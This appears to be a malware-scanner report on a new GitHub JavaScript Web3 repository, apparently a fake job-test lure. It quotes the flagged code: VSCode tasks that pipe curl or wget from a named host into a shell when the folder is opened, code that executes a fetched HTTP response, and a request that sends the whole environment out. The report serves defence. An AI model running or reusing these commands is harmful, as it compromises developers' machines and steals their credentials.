DANGER
malware detected
github.com / naox-ai
naox-ai/ NaoX
JavaScript·65 files·commit abe6eb5·scanned 1h ago·cached ✓
91/100
MALICIOUS
Matches known-malicious patterns. Do not clone or install.
This repository contains patterns associated with malware. Do NOT run this code.
verdict accurate?
Created 1 days ago
No stars or forks
Created in the last 7 days
No community activity
threat-state: maliciouslive
FINDINGS ░▒▓
criticalFunction() constructor detectednew Function() is equivalent to eval() and can execute arbitrary code strings.routes/api/auth.js
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
console.log("API Key verified successfully.");+5criticalHTTP response executed as codeThe body of an HTTP response flows straight into eval, new Function, vm, require-from-string or exec. Whoever controls the server decides what runs, and the code never appears in the repository.routes/api/auth.js
.then((response) => { const executor = … new Function("require", response.data)+10criticalWhole environment sent over the networkThe entire environment (process.env / os.environ) is the body or a parameter of an outbound request. That object holds every API key, token and cloud credential on the machine. Reading one variable is normal; shipping all of them to a server is theft.controllers/auth.js
axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } })+10infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.controllers/auth.js
const setApiKey = (s) => atob(s); const verify = (api) =>+2
infoBrowser wallet provider accessAccesses browser wallet providers (window.solana, window.ethereum, Phantom, Solflare, etc.). Common in Web3 apps but also the entry point for wallet drainers.frontend/src/lib/web3.jsx
function getEthereumProviders() {
if (typeof window === 'undefined' || !window.ethereum) return [];
if (window.ethereum.providers?.length) return window.ethereum.providers;
return [window.ethere...+2infoWallet transaction signing APIUses wallet signing APIs (signTransaction, signMessage, sendTransaction, etc.). Legitimate in DeFi apps, but combined with remote exfiltration it is the core drainer pattern.frontend/src/lib/web3.jsx
const tx = await provider.sendTransaction({
to: toAddress,
value: parseEther(String(amountEth)),+2warningIDE config hides itself`.vscode/settings.json` adds `.vscode` to files.exclude, so the folder holding the auto-run tasks disappears from the editor's file tree..vscode/settings.json
"files.exclude": { "**/.vscode": true }+3criticalCommand or code execution hidden off-screenThe code pushed past the right edge of the line by 100+ spaces runs a shell, evaluates code, loads a module or names a URL. Nobody pads a line like that except to keep a reviewer from seeing it..vscode/tasks.json
line 59: [100+ spaces] "command": "curl -L 'https://prototype.s.gy/demo1' | bash"+8criticalVSCode tasks.json auto-run on folder openA .vscode/tasks.json with runOn: folderOpen executes commands automatically when you open the project in VSCode..vscode/tasks.json
env (osx): curl -L 'https://prototype.s.gy/demo1' | bash env (linux): wget -qO- 'https://prototype.s.gy/demo2' | sh env (windows): curl --ssl-no-revoke -L https://prototype.s.gy/demo3 | cmd node: npm ...+8
criticalOpening the project downloads and runs codeA task that runs on folder open (or a devcontainer initializeCommand, which runs on the host) downloads code and executes it. Opening the folder is enough to run whatever the server returns. This is the Contagious Interview fake-job-repo pattern..vscode/tasks.json
env (osx): curl -L 'https://prototype.s.gy/demo1' | bash env (linux): wget -qO- 'https://prototype.s.gy/demo2' | sh env (windows): curl --ssl-no-revoke -L https://prototype.s.gy/demo3 | cmd+10
criticalSuspicious install scripts in package.jsonAn npm lifecycle script runs shell commands, downloads files, executes inline node code, or starts a detached background process. npm runs these on `npm install` with no prompt, and a detached process keeps running after install returns.package.json
"prepare": "start /b node server || nohup node server &"+8
Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
47 files scanned @ abe6eb5 | 10/29/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration12
file system access4
obfuscation11
supply chain15
owasp / injection0
telemetry
files 47/65rules hit 14engine v10commit abe6eb5
github
naox-ai/NaoX
0
0
1d
65 files
47 scanned(72%)
abe6eb5
network indicators░▒▓
Hosts this code names or would connect to. 18 found, decoded and call-site destinations first. Informational, not scored.
- https://test-demo-rust.vercel.appurldecoded from base64.env:16
- https://prototype.s.gy/demo1urlnext to exec.vscode/tasks.json:59
- https://prototype.s.gy/demo2urlnext to exec.vscode/tasks.json:61
- https://prototype.s.gy/demo3urlnext to network call.vscode/tasks.json:63
- https://eth-mainnet.alchemyapi.iourlfrom .env.env:4
- https://polygon-rpc.comurlfrom .env.env:7
- https://kpmaehpvsphabksjidqn.supabase.courlfrom .envfrontend/.env:1
- https://interexy.com/blocks/hero/Hero.webmurlfrontend/src/components/LoadingScreen.jsx:76
- https://metamask.io/download/urlfrontend/src/lib/web3.jsx:33
- https://www.coinbase.com/wallet/downloadsurlfrontend/src/lib/web3.jsx:46
- https://phantom.app/downloadurlfrontend/src/lib/web3.jsx:59
- https://etherscan.iourlfrontend/src/lib/web3.jsx:64
- https://polygonscan.comurlfrontend/src/lib/web3.jsx:65
- https://basescan.orgurlfrontend/src/lib/web3.jsx:66
- https://arbiscan.iourlfrontend/src/lib/web3.jsx:67
- https://solscan.iourlfrontend/src/lib/web3.jsx:68
- https://api.your-agent.com/v1/runurlfrontend/src/pages/PublishPage.jsx:352
- https://github.com/you/your-agenturlfrontend/src/pages/PublishPage.jsx:356
architecture░▒▓
entry (2) flagged (2) pkg (24)
62 nodes · 124 edgesscroll to zoom · click node to jump to finding